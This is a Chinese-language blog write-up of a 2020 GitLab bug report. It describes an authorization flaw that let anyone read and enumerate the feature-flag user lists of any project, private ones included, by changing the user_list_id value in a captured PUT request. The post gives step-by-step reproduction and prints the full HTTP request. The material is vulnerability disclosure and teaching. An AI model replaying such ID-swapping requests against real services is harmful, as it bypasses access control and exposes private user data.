gitlab漏洞系列-越權(quán)獲取任何項目的特性標(biāo)志用戶列表(包括用戶id)
聲明:文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,讀者將其信息做其他用途,由用戶承擔(dān)全部法律及連帶責(zé)任,文章作者不承擔(dān)任何法律及連帶責(zé)任。
背景
白帽小哥ashish_r_padelkar在2020年8月份提交的這個漏洞,:只要在請求中提供2位連續(xù)的ID,就可以獲得任何私有/公共項目的特性標(biāo)志用戶列表。通過這種方式,我們可以枚舉所有這些特性標(biāo)志用戶列表。
復(fù)現(xiàn)步驟
1.跳轉(zhuǎn)至https://gitlab.com/<NameSpace>/project_1/-/feature_flags
2.編輯任何現(xiàn)有的特性標(biāo)志。
3.在“類型下拉列表”中選擇“用戶列表”選項,然后從項目中選擇可用的用戶列表。
4.單擊save并捕獲下面的請求。
PUT /group_new_1/project_1/-/feature_flags/1 HTTP/1.1
Host: gitlab.com
Connection: close
Content-Length: 295
Accept: application/json, text/plain, */*
X-CSRF-Token: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: https://gitlab.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://gitlab.com/group_new_1/project_1/-/feature_flags/1/edit
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: 1
{"operations_feature_flag":{"name":"wwwwww","description":"","version":"new_version_flag","active":true,"strategies_attributes":[{"id":532,"name":"gitlabUserList","_destroy":false,"scopes_attributes":[{"id":1146,"_destroy":false,"environment_scope":"wwww"}],"parameters":{},"user_list_id":39}]}}
5.只需將上述請求中的user_list_id參數(shù)的值更改為任意2位連續(xù)的ID,然后發(fā)送請求。
當(dāng)重新加載時,應(yīng)該在響應(yīng)中以及在特性標(biāo)志頁中看到用戶的Name列表。注意,當(dāng)你獲得的特性標(biāo)志屬于私有項目時,這也是可能的。
作者:richardo1o1
歡迎關(guān)注微信公眾號 :迪哥講事